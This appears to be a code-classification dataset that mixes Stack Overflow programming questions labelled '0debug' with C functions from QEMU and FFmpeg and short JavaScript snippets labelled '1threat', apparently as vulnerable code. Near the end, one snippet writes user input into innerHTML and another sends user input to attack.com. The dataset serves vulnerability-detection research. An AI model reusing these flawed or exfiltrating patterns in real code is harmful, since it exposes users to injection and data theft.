problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
Exchanging content in two files - Python : I am working on this problem and having trouble coming up with code for it:
Write a program that prompts for two file names and exchanges the contents of the two files. Your program should be sufficiently robust that if a file doesn’t exist, the program will reprompt.
Th... | 0debug |
asking in Kotlin language : I want to display home screen when I press navigation Item which I called "Home"
but I couldn't do that because the method should return a type which is a boolean
please anyone can help ?!
////
override fun onOptionsItemSelected(item: MenuItem): Boolean {
when (item.i... | 0debug |
Alphabet Regex Pattern? : <p>If I have a letter say "w" and I want to it to match only against a few characters in the alphabet for example " the letter a, d and then h to q and w only. How can I achieve this? </p>
<p>All I have so far is : ^[h-qH-Q]+$</p>
<p>I assume its pretty easy but i'm not really a regex expert... | 0debug |
Types in object destructuring : <p>This</p>
<pre><code>const { foo: IFoo[] } = bar;
</code></pre>
<p>and this</p>
<pre><code>const { foo: Array<IFoo> } = bar;
</code></pre>
<p>will reasonably cause an error.</p>
<p>And this</p>
<pre><code>const { foo: TFoo } = bar;
</code></pre>
<p>will just destructure <c... | 0debug |
std::map<string, int> crashes when doing m[0] : <p>The following crashes:</p>
<pre><code> std::map<std::string, int> m1{ {"0", 0}, { "1", 1 }};
// auto melem = m1["0"]; // OK
auto melem = m1[0];
</code></pre>
<p>Why is that?</p>
| 0debug |
Subtract Three dimention array from 2D :
I have two data set,the first one is 3D and the second is 2D.
how can we implement the subtract of the two array.
the code bellow generate error :
double[][] diff = new double[1][a.length];
for (int i = 0; i < a.length - 1; i++) {
for (... | 0debug |
static void test_visitor_out_struct(TestOutputVisitorData *data,
const void *unused)
{
TestStruct test_struct = { .integer = 42,
.boolean = false,
.string = (char *) "foo"};
TestStruct *p = &test_struct;
... | 1threat |
.Net Linq Query - Object reference not set to an instance of an object : Could someone assist with this .NET Linq query issue. It should work, but it doesn't and fails to find the element. The query should result in a value = 106492, but just returns null. Tnx so much!
Here's the .Net Fiddle code:
using System;... | 0debug |
Why filters do not learn same features : <p>The result of the convolution operation is multiple subsets of data are generated per kernel. For example if 5 kernels are applies to an image of dimension WxDx1 (1 channel) then 5 convolutions are applied to the data which generates a 5 dimensional image representation. WxDx... | 0debug |
static int qcow_is_allocated(BlockDriverState *bs, int64_t sector_num,
int nb_sectors, int *pnum)
{
BDRVQcowState *s = bs->opaque;
int index_in_cluster, n;
uint64_t cluster_offset;
cluster_offset = get_cluster_offset(bs, sector_num << 9, 0, 0, 0, 0);
index_in_cl... | 1threat |
Ubuntu 16.04 systemd redis issues with ulimit : <p>I have been having issues with our new redis server after swapping from Ubuntu 14.04 to 16.04. The configuration of the open files limit using all the guides says to change the /etc/security/limits.conf with the following settings</p>
<pre><code>* soft nofile 65535... | 0debug |
find the number of non-empty subsets S such that min(S) + max(S) <= K : // For a given vector of integers and integer K, find the number of non-empty subsets S such that min(S) + max(S) <= K
// For example, for K = 8 and vector [2, 4, 5, 7], the solution is 5 ([2], [4], [2, 4], [2, 4, 5], [2, 5])
The time complexit... | 0debug |
How to encrypt memory block in C? : I need a function which takes a start address as first parameter and a size as second and it should xor that range in memory at runtime. How can I accomplish that?
My naive approach was this:
void EncryptDecrypt(DWORD StartAddress, DWORD dwSize)
{
DWORD *Start = ... | 0debug |
static int file_check(URLContext *h, int mask)
{
#if HAVE_ACCESS && defined(R_OK)
int ret = 0;
if (access(h->filename, F_OK) < 0)
return AVERROR(errno);
if (mask&AVIO_FLAG_READ)
if (access(h->filename, R_OK) >= 0)
ret |= AVIO_FLAG_READ;
if (mask&AVIO_FLAG_WRITE)
... | 1threat |
What is wrong with this python snippet? : <p>script.py:-</p>
<pre><code> try:
command_line = sys.argv[1].strip()
except IndexError:
print "\n***PLEASE READ THE HEADER NOTE FOR RUNNING THIS PROGRAM***\n"
exit(1)
if command_line != "run" or command_line != "fullrun":
print "\n... | 0debug |
Django TypeError: render() got an unexpected keyword argument 'renderer' : <p>I've upgraded to Django 2.1, and I'm seeing this error when I load the admin interface:</p>
<blockquote>
<pre><code>TypeError at /admin/foo/bar/1/change/
render() got an unexpected keyword argument 'renderer'
</code></pre>
</blockquote>
| 0debug |
Can you make that thats code run in python 2.7 from 3.5 : <p>i have code that runs in python 3.5 but i need it for python 2.7. Because on the school system runs only 2.7 and i can only write 3.5. The programm calculate square roots with the herron principle. sorry for my bad English</p>
<pre><code>#y = number from tha... | 0debug |
How to use new version of getresources().getColor : I am trying to get a color element using getresources.getColor(resource id) but android is telling me that it has been deprecated use getresources.getColor(resource id, theme).
How do I tell it what theme to use? I have tried R.style.AppTheme but I get an error as... | 0debug |
void cpu_save(QEMUFile *f, void *opaque)
{
CPUState *env = opaque;
uint16_t fptag, fpus, fpuc, fpregs_format;
uint32_t hflags;
int32_t a20_mask;
int i;
for(i = 0; i < CPU_NB_REGS; i++)
qemu_put_betls(f, &env->regs[i]);
qemu_put_betls(f, &env->eip);
qemu_put_betls(f, &... | 1threat |
static int monitor_read_password(Monitor *mon, ReadLineFunc *readline_func,
void *opaque)
{
if (mon->rs) {
readline_start(mon->rs, "Password: ", 1, readline_func, opaque);
return 0;
} else {
monitor_printf(mon, "terminal does not support ... | 1threat |
static int tty_serial_ioctl(CharDriverState *chr, int cmd, void *arg)
FDCharDriver *s = chr->opaque;
switch(cmd) {
case CHR_IOCTL_SERIAL_SET_PARAMS:
QEMUSerialSetParams *ssp = arg;
tty_serial_init(s->fd_in, ssp->speed, ssp->parity,
ssp->data_bits... | 1threat |
How to change the "Bundle Identifier" within React Native? : <p>Starting a new react-native project, the xcode-project gots the bundle-identifier "org.reactjs.native.example.XYZApp". XYZ is the placeholder here for my real project name.</p>
<p>Is there any way to change this bundle identifier on react-native side? Sur... | 0debug |
Flutter position stack widget in center : <p>I have widgets in a stack so I'd like to position my button bar in the bottom center of the stack but nothing works. The widget just sticks to the left side. here is my code.</p>
<pre><code>new Positioned(
bottom: 40.0,
child: new Container(
... | 0debug |
Boto3: grabbing only selected objects from the S3 resource : <p>I can grab and read all the objects in my AWS S3 bucket via </p>
<pre><code>s3 = boto3.resource('s3')
bucket = s3.Bucket('my-bucket')
all_objs = bucket.objects.all()
for obj in all_objs:
pass
#filter only the objects I need
</c... | 0debug |
Android espresso test NavigationView : <p>I am writing some espressotests for an appplication I recently made.
I'm using a NavigationView inside a DrawerLayout as sliding menu.</p>
<p>I managed to open the drawer this way:</p>
<pre><code> onView(withId(R.id.drawer_layout)).perform(open());
</code></pre>
<p>Th... | 0debug |
How to Put Control Arrows in a wbsite? : [enter image description here][1]
[1]: https://i.stack.imgur.com/3oFKN.png
I need to put this in a website. I have buttons with arrow icons, but I want to allign them like they are in this picture. Could someone show me how to? and how would the coude look like? | 0debug |
Android studio doesn't show '&' symbol in String : When I try to write the '&' symbol in a string like "&" it just leaves the place white. I get no errors or anything, it's just that it isn't shown.
Anyone know how to solve this? | 0debug |
static void gen_advance_ccount_cond(DisasContext *dc)
{
if (dc->ccount_delta > 0) {
TCGv_i32 tmp = tcg_const_i32(dc->ccount_delta);
gen_helper_advance_ccount(cpu_env, tmp);
tcg_temp_free(tmp);
}
}
| 1threat |
Part of button outside of the dialog in android : I'm trying to achive something like this:
[enter image description here][1]
[1]: http://i.stack.imgur.com/u4kmI.png
Anyone have idea how to make button stay partially outside the dialog and be always under the text ? | 0debug |
SyntaxError: multiple statement found while compiling a single statement : <pre><code>>>> import sys
def prime(n):
i=2
isp=True;
while(i<n):
if(n%i==0):
isp=False
break
n/=i
i+=1
if(n==1):
isp=False
return isp
while(True)
x=inp... | 0debug |
convert time into range in sql : I have a datetime field which displays as eg: 2019-05-13 13:01:39.
I want this to come as 1-2pm or 13-14pmin sql.
Like wise,2019-05-03 19:31:31 should be displayed as 7-8 or 19-20.
Is this possible in SQL using query? | 0debug |
Login with Google Not working in the server : Login with Google using Google+ API is not working in the server, but working correctly in the localhost.
it is not redirecting to domains.php file after authentication. getting the below like URL in the browser bar.
site.com/domains/domains.php?code=4%2FsrQH... | 0debug |
Font Color Isn't Changing : <p>I know this is a rookie question, but why isn't my font colour changing?</p>
<p>My HTML:</p>
<pre><code><h1 class="InternetTitle">Internet Services</h1>
</code></pre>
<p>My CSS:</p>
<pre><code>.InternetTitle {
color: 2777fd;
text-align: center;
}
</code></pre>
<p>It a... | 0debug |
how can i change a window's background when mouse is over? : I saw how to change a button's background by MouseClick or when mouse is over. But how can i change a window's background when mouse is over?? Didn't see somethink like this before...may be someone can help me? | 0debug |
static void set_http_options(AVFormatContext *s, AVDictionary **options, HLSContext *c)
{
const char *proto = avio_find_protocol_name(s->filename);
int http_base_proto = !av_strcasecmp(proto, "http") || !av_strcasecmp(proto, "https");
if (c->method) {
av_dict_set(options, "method", c->method,... | 1threat |
Concurrency model: Erlang, Elixir, and Scala : <p>What is the difference between the <strong>concurrency models</strong> of Erlang, Elixir, and Scala?</p>
| 0debug |
int rtp_check_and_send_back_rr(RTPDemuxContext *s, int count)
{
ByteIOContext pb;
uint8_t *buf;
int len;
int rtcp_bytes;
if (!s->rtp_ctx || (count < 1))
return -1;
s->octet_count += count;
rtcp_bytes = ((s->octet_count - s->last_octet_count) * RTCP_TX_RATIO_NUM) /
... | 1threat |
static int pick_formats(AVFilterGraph *graph)
{
int i, j, ret;
int change;
do{
change = 0;
for (i = 0; i < graph->filter_count; i++) {
AVFilterContext *filter = graph->filters[i];
if (filter->nb_inputs){
for (j = 0; j < filter->nb_inputs; j+... | 1threat |
static void gen_mtfsf(DisasContext *ctx)
{
TCGv_i32 t0;
int L = ctx->opcode & 0x02000000;
if (unlikely(!ctx->fpu_enabled)) {
gen_exception(ctx, POWERPC_EXCP_FPU);
return;
}
gen_update_nip(ctx, ctx->nip - 4);
gen_reset_fpstatus();
if (L)
t0 = tcg_con... | 1threat |
How can I make a browser display all datalist options when a default value is set? : <p>I have an HTML form with a datalist and where the value is set with PHP, like</p>
<pre><code><input list="values" value="<?php echo $val; ?>">
<datalist id="values">
<option value="orange">
<option v... | 0debug |
Null object reference Android after OnCreateView : <p>I'm getting null pointer reference error on CrimeFragment .</p>
<p>crimeFragment's onCreateView method : </p>
<pre><code>@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View... | 0debug |
How to add the numbers 1-12 which = 78 using a loop? : class Program
{
static void Main(string[] args)
{
int sum = 1;
while (sum < 12)
{
sum = sum + 1;
}
Console.WriteLine(sum);
Console.ReadLi... | 0debug |
Powershell And Jar Execution : **I a trying to execute a jar file from powershell from a remote powershell session. Below is my current script block and it does not seem to work on remote machine. It appears that the jar file is picking up an anonymous credential but if i put a username command before the jar i get the... | 0debug |
static CharDriverState *qemu_chr_open_pty(void)
{
struct termios tty;
int master_fd, slave_fd;
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) < 0) {
return NULL;
}
cfmakeraw(&tty);
tcsetattr(slave_fd, TCSAFLUSH, &tty);
fprintf(stderr, "char device redirecte... | 1threat |
static void cirrus_init_common(CirrusVGAState * s, int device_id, int is_pci)
{
int i;
static int inited;
if (!inited) {
inited = 1;
for(i = 0;i < 256; i++)
rop_to_index[i] = CIRRUS_ROP_NOP_INDEX;
rop_to_index[CIRRUS_ROP_0] = 0;
rop_to_index[CIRRUS_ROP... | 1threat |
static int fileTest(uint8_t *ref[4], int refStride[4], int w, int h, FILE *fp,
enum AVPixelFormat srcFormat_in,
enum AVPixelFormat dstFormat_in)
{
char buf[256];
while (fgets(buf, sizeof(buf), fp)) {
struct Results r;
enum AVPixelFormat srcFormat;... | 1threat |
Attach button to right side of screen that is responsive to the layout : <p>I am using bootstrap and I am looking for a way to attach a button to the right side of the screen. I have provided a picture to help give an understanding of what I am trying to accomplish. The button in the picture when clicked is attached to... | 0debug |
Python - How to create an empty numpy array and append to it, like lists : <p>This is something I didn't find so easily on the internet. It's easy to create <code>np.arrays</code>, but how do you create an empty one so you can append on the go?</p>
| 0debug |
How to make text as big as the width allows in flutter : <p>I have a Container where I need to show a barcode (it's a app for virtual fidelity cards) and I'd love to have the barcode to be as wide as possible on the screen.
For now I set the font size at a reasonable size that suits all devices, but it's only temporary... | 0debug |
How to run alias on remote Linux server : We have a password less authentication between the server for root user, I am trying to run the alias on remote server as below
#ssh remoteserver runuser -l wasadmin wasstart
But it is not working. Any suggestions or any other method to achieve it | 0debug |
document.getElementById('input').innerHTML = user_input; | 1threat |
Is it Ok to connect mysql database to android without json? : <p>i have been trying to connect mysql db with android app, and through json i cannot connect it, is it ok not to use json or use any method without json ?</p>
| 0debug |
static int dxtory_decode_v2(AVCodecContext *avctx, AVFrame *pic,
const uint8_t *src, int src_size)
{
GetByteContext gb;
GetBitContext gb2;
int nslices, slice, slice_height, ref_slice_height;
int cur_y, next_y;
uint32_t off, slice_size;
uint8_t *Y, *U, *V;
... | 1threat |
Is there a way to define an object using a function in C++? : <p>I have a function that returns an object after defining it with a class. When I call the function and then attempt to do anything with the object, it tells me that the object is undefined. Is there any way to use a function on it's own and then use the ob... | 0debug |
R : How to convert unicode to readable string : My object in **R** contains the following unicode which are extracted from twitter.
> 1 b'RT @tamil_desiyam:
> \\xe0\\xae\\x87\\xe0\\xae\\xa8\\xe0\\xaf\\x8d\\xe0\\xae\\xa4
> \\xe0\\xae\\xaa\\xe0\\xaf\\x8a\\xe0\\xae\\xb4\\xe0\\xaf\\x88\\xe0\\xae\\x95\\xe0\\xaf\\x8d\\x... | 0debug |
what does the import java.util.Scanner; mean? :
//This program calculates the total price which includes sales tax
import java.util.Scanner;
public class SalesTax
{
public static void main(String[] args)
{
//identifier declarations
} | 0debug |
static void vc1_put_block(VC1Context *v, DCTELEM block[6][64])
{
uint8_t *Y;
int ys, us, vs;
DSPContext *dsp = &v->s.dsp;
if(v->rangeredfrm) {
int i, j, k;
for(k = 0; k < 6; k++)
for(j = 0; j < 8; j++)
for(i = 0; i < 8; i++)
blo... | 1threat |
static void rpza_decode_stream(RpzaContext *s)
{
int width = s->avctx->width;
int stride = s->frame.linesize[0] / 2;
int row_inc = stride - 4;
int stream_ptr = 0;
int chunk_size;
unsigned char opcode;
int n_blocks;
unsigned short colorA = 0, colorB;
unsigned short color4[4]... | 1threat |
Using the indexOf() method, is there a way for me to return the first index in a string that is an alphabetical letter? Java : <p>Title. I'm new to this site sorry if it's bad question. I'm trying to make it so that my method returns -1 if there isn't an alphabetical letter in the string. I already set up a way to iter... | 0debug |
Why are derived class property values not seen in the base class constructor? : <p>I wrote some code:</p>
<pre><code>class Base {
// Default value
myColor = 'blue';
constructor() {
console.log(this.myColor);
}
}
class Derived extends Base {
myColor = 'red';
}
// Prints "blue", expected... | 0debug |
Updating UsageTime in MSSql via Visual Studio : [enter image description here][1]
[1]: https://i.stack.imgur.com/N0Rim.png
I want to update the UsageTime when the time ticks per minute, couldn't get the right code.
Private Sub LBLTime_TextChanged(sender As Object, e As EventArgs) Handles LBLTime.TextC... | 0debug |
Out of bounds error when printing objects from Array : <p>Getting an out of bounds error when trying to print the names of Movie objects stored in an Array. </p>
<p>Not sure whats happening here.</p>
<pre><code>public String toString()
{
for(i=0;i<=mov.length;i++);
return "Movie: "+mov[i].getNa... | 0debug |
SQL Where get wrong row : i have a problem with my SQL Syntax.
I have a table with tickets.
But this is from my PHPMYADMIN
[https://i.stack.imgur.com/LbYL3.pngn][1]
[1]: https://i.stack.imgur.com/LbYL3.png
But whuat is wrong on the SQL Syntax? | 0debug |
Collaborating with a single private repository on Github : <p>I'm working on a small project where about 4-5 of us need to collaborate on some code which we want to keep private. I have unlimited private repos on github, and we don't want to shell out money for a private organization. What are the pros and cons of me s... | 0debug |
static int svq1_decode_delta_block(MpegEncContext *s, GetBitContext *bitbuf,
uint8_t *current, uint8_t *previous,
int pitch, svq1_pmv *motion, int x, int y)
{
uint32_t block_type;
int result = 0;
block_type = get_vlc2(bitbuf... | 1threat |
how to print all the records of a DB table, without writing each column name in the print statement : i have a table of students in SQL server, i want to execute a query like
> SELECT * FROM tbl_students;
but i don't want to write each column number getValue(0) getValue(1)... to get the result,
like i wrote i... | 0debug |
static USBDevice *usb_net_init(USBBus *bus, const char *cmdline)
{
Error *local_err = NULL;
USBDevice *dev;
QemuOpts *opts;
int idx;
opts = qemu_opts_parse(qemu_find_opts("net"), cmdline, 0);
if (!opts) {
return NULL;
}
qemu_opt_set(opts, "type", "nic");
qemu_opt... | 1threat |
Right and Bottom Constraint on FloatingActionButton makes it unseen : <p>I have a <code>FloatingActionButton</code> inside a <code>ConstraintLayout</code>, like so:</p>
<pre class="lang-xml prettyprint-override"><code><android.support.constraint.ConstraintLayout
android:layout_width="match_parent"
a... | 0debug |
static always_inline void gen_op_subfco (void)
{
gen_op_move_T2_T0();
gen_op_subf();
gen_op_check_subfc();
gen_op_check_subfo();
}
| 1threat |
void do_info_mice(Monitor *mon, QObject **ret_data)
{
QEMUPutMouseEntry *cursor;
QList *mice_list;
int current;
mice_list = qlist_new();
if (QTAILQ_EMPTY(&mouse_handlers)) {
goto out;
}
current = QTAILQ_FIRST(&mouse_handlers)->index;
QTAILQ_FOREACH(cursor, &mous... | 1threat |
int kvm_log_stop(target_phys_addr_t phys_addr, target_phys_addr_t end_addr)
{
return kvm_dirty_pages_log_change(phys_addr, end_addr,
0,
KVM_MEM_LOG_DIRTY_PAGES);
}
| 1threat |
PHP 7 Xdebug in VSCODE: how to ignore exceptions : <p>I'm using plugin PHP Debugger in Visual Studio Code to debug PHP codes.
All were ok with PHP <= 5.6. The debugger worked like a charm.
But when I try to debug the code with PHP 7, it does not work as expected.
It does not jump to the break points I added, I was s... | 0debug |
C++ - forward declaration not working : Here is the short example of my forward declaration code which is not working:
void Register();
void Menu();
void Register()
{
Menu();
}
void Menu()
{
Register();
}
void main()
{
Menu();
}
It's like ... | 0debug |
int avfilter_graph_send_command(AVFilterGraph *graph, const char *target, const char *cmd, const char *arg, char *res, int res_len, int flags)
{
int i, r = AVERROR(ENOSYS);
if(!graph)
return r;
if((flags & AVFILTER_CMD_FLAG_ONE) && !(flags & AVFILTER_CMD_FLAG_FAST)) {
r=avfilter_gr... | 1threat |
Assigning a dynamically allocated 2-d array to a double pointer within a struct : I am creating a game with a 2d array as the board. Originally, I tried to dynamically allocate the board to the struct in one function, but figured I would create the board, and then assign this newly created board to the double point wit... | 0debug |
Trigger database backup on a django view : <p>I'm trying to trigger a database backup from a button in a custom view I have created in Django. The thing is that in all the information I have found about database backups, the command is triggered automatically or from a manage.py command.</p>
<p>Any ideas about how to ... | 0debug |
static int io_write_data_type(void *opaque, uint8_t *buf, int size,
enum AVIODataMarkerType type, int64_t time)
{
char timebuf[30], content[5] = { 0 };
const char *str;
switch (type) {
case AVIO_DATA_MARKER_HEADER: str = "header"; break;
case AVIO_DATA_... | 1threat |
void gen_intermediate_code(CPUOpenRISCState *env, struct TranslationBlock *tb)
{
OpenRISCCPU *cpu = openrisc_env_get_cpu(env);
CPUState *cs = CPU(cpu);
struct DisasContext ctx, *dc = &ctx;
uint32_t pc_start;
uint32_t next_page_start;
int num_insns;
int max_insns;
pc_start = tb... | 1threat |
How to check that an exception is not thrown using mockito? : <p>I have a simple <code>Java</code> method, I would like to check that it does not throw any <code>exceptions</code>. </p>
<p>I have already mocked the parameters etc, however I am not sure how to use <code>Mockito</code> to test that no exception has been... | 0debug |
processed(OptsVisitor *ov, const char *name)
{
if (ov->repeated_opts == NULL) {
g_hash_table_remove(ov->unprocessed_opts, name);
}
}
| 1threat |
import re
def text_match_one(text):
patterns = 'ab+?'
if re.search(patterns, text):
return 'Found a match!'
else:
return('Not matched!')
| 0debug |
Java error while launching JMeter bat file : <p>I am trying to launch JMeter through the BAT file on a windows machine but I am getting the following error:</p>
<pre><code>Not able to find Java executable or version. Please check your Java installation.
errorlevel=2
Press any key to continue . . .
</code></pre>
<p>I ... | 0debug |
static int64_t coroutine_fn vmdk_co_get_block_status(BlockDriverState *bs,
int64_t sector_num, int nb_sectors, int *pnum)
{
BDRVVmdkState *s = bs->opaque;
int64_t index_in_cluster, n, ret;
uint64_t offset;
VmdkExtent *extent;
extent = find_extent(s, sector_num, NULL);
if (!exte... | 1threat |
Issue in cypher query using if if and merge : In given cypher query it showing error.Please let me know what,s wrong in below cypher query
MATCH (pcp:PCP)-[]->(mt:MONEYTRANSFER{MTCN:'1618087665684829'}) return CASE WHEN EXISTS( (pcp)-[:SENT_BY]-(mt{MTCN:'1618087665684829'}) ) THEN null ELSE MERGE (pcp:PCP)-[]->(mt:... | 0debug |
vuex- state returned as function or object literal : <p>I ran into a problem the other day, and asked the great stack community for a solution. </p>
<h3>The problem:</h3>
<p>I nested the same module in other modules but I was defining state in this way:</p>
<pre><code>state: {
// some state here
}
</code></pre>
<... | 0debug |
Ipython cv2.imwrite() not saving image : <p>I have written a code in python opencv. I am trying to write the processed image back to disk but the image is not getting saved and it is not showing any error(runtime and compilation) The code is</p>
<pre><code>"""
Created on Wed Oct 19 18:07:34 2016
@author: Niladri
"""
... | 0debug |
static void mmio_basic(void)
{
QVirtioMMIODevice *dev;
QVirtQueue *vq;
QGuestAllocator *alloc;
int n_size = TEST_IMAGE_SIZE / 2;
uint64_t capacity;
arm_test_start();
dev = qvirtio_mmio_init_device(MMIO_DEV_BASE_ADDR, MMIO_PAGE_SIZE);
g_assert(dev != NULL);
g_assert_cmph... | 1threat |
static int qio_channel_websock_handshake_process(QIOChannelWebsock *ioc,
char *buffer,
Error **errp)
{
QIOChannelWebsockHTTPHeader hdrs[32];
size_t nhdrs = G_N_ELEMENTS(hdrs);
const char *protocols = NULL... | 1threat |
void vga_common_init(VGACommonState *s)
{
int i, j, v, b;
for(i = 0;i < 256; i++) {
v = 0;
for(j = 0; j < 8; j++) {
v |= ((i >> j) & 1) << (j * 4);
}
expand4[i] = v;
v = 0;
for(j = 0; j < 4; j++) {
v |= ((i >> (2 * j)) & 3) <... | 1threat |
can i use symfony nodeJS and angular in one application : <p><em>hello,</em>
<em>I am doing an audit platform for applications develop in angular node and symfony, my question is that I can use the 3 technology at the same time
here is my project
thank you in advance</em></p>
<p><a href="https://i.stack.imgur.com/Prc... | 0debug |
How to do this bubble sort on pseudocode : <p>Hi I'm trying to a bubble sort.</p>
<p>This is part of a special designated task but i am stuck on the python code for the program. I did try to do a program but it runs an infinite loop instead of bubble sorting it.</p>
| 0debug |
reverse int array return wrong element : Here is a simple method in C# to reverse the element of the array. For instance, if I input {1,2,3,4} the result should be {4,3,2,1}.
public int[] reverse(int[] array)
{
int[] new_array = new int[array.Length];
for (int i... | 0debug |
Dynamic crm 2016 rest api node js : <p>I am trying to connect to crm 2016 with node js rest api.
I'm trying to do a simple retrieve and i don't get any error message.
Please maybe someone know about library that can help me with this issuse?</p>
| 0debug |
How do I replace all NA with mean in R? : <p>I have over 1500 columns in my dataset and 100+ of them contains at least one NA. I know I can replace NAs in a single column by</p>
<pre><code>d$var[is.na(d$var)] <- mean(d$var, na.rm=TRUE)
</code></pre>
<p>but how do I do this too ALL the NAs in my dataset?</p>
<p>Th... | 0debug |
How do I transfer information between forms? : <p>I am trying to transfer information from form B into form A. Basically formA has a button that opens a new form (form B), and then form B has a textbox where you enter text. Then when you close that form B (via a close button) a textbox in form A should be updated with ... | 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Streaming file from S3 with Express including information on length and filetype : <p>Using the <code>aws-sdk</code> module and Express 4.13, it's possible to proxy a file from S3 a number of ways.</p>
<p>This callback version will return the file body as a buffer, plus other relevant headers like <code>Content-Length... | 0debug |
static int pit_initfn(ISADevice *dev)
{
PITState *pit = DO_UPCAST(PITState, dev, dev);
PITChannelState *s;
s = &pit->channels[0];
s->irq_timer = qemu_new_timer(vm_clock, pit_irq_timer, s);
s->irq = isa_reserve_irq(pit->irq);
register_ioport_write(pit->iobase, 4, 1, pit_ioport_wr... | 1threat |
static int dec_21154_initfn(PCIDevice *dev)
{
int rc;
rc = pci_bridge_initfn(dev);
if (rc < 0) {
return rc;
}
pci_config_set_vendor_id(dev->config, PCI_VENDOR_ID_DEC);
pci_config_set_device_id(dev->config, PCI_DEVICE_ID_DEC_21154);
return 0;
}
| 1threat |
WordPress inquiry form with out saving into DB : I need WordPress plugin for inquiry form which send data to mail only not saving into DB because large database needed to store into database | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.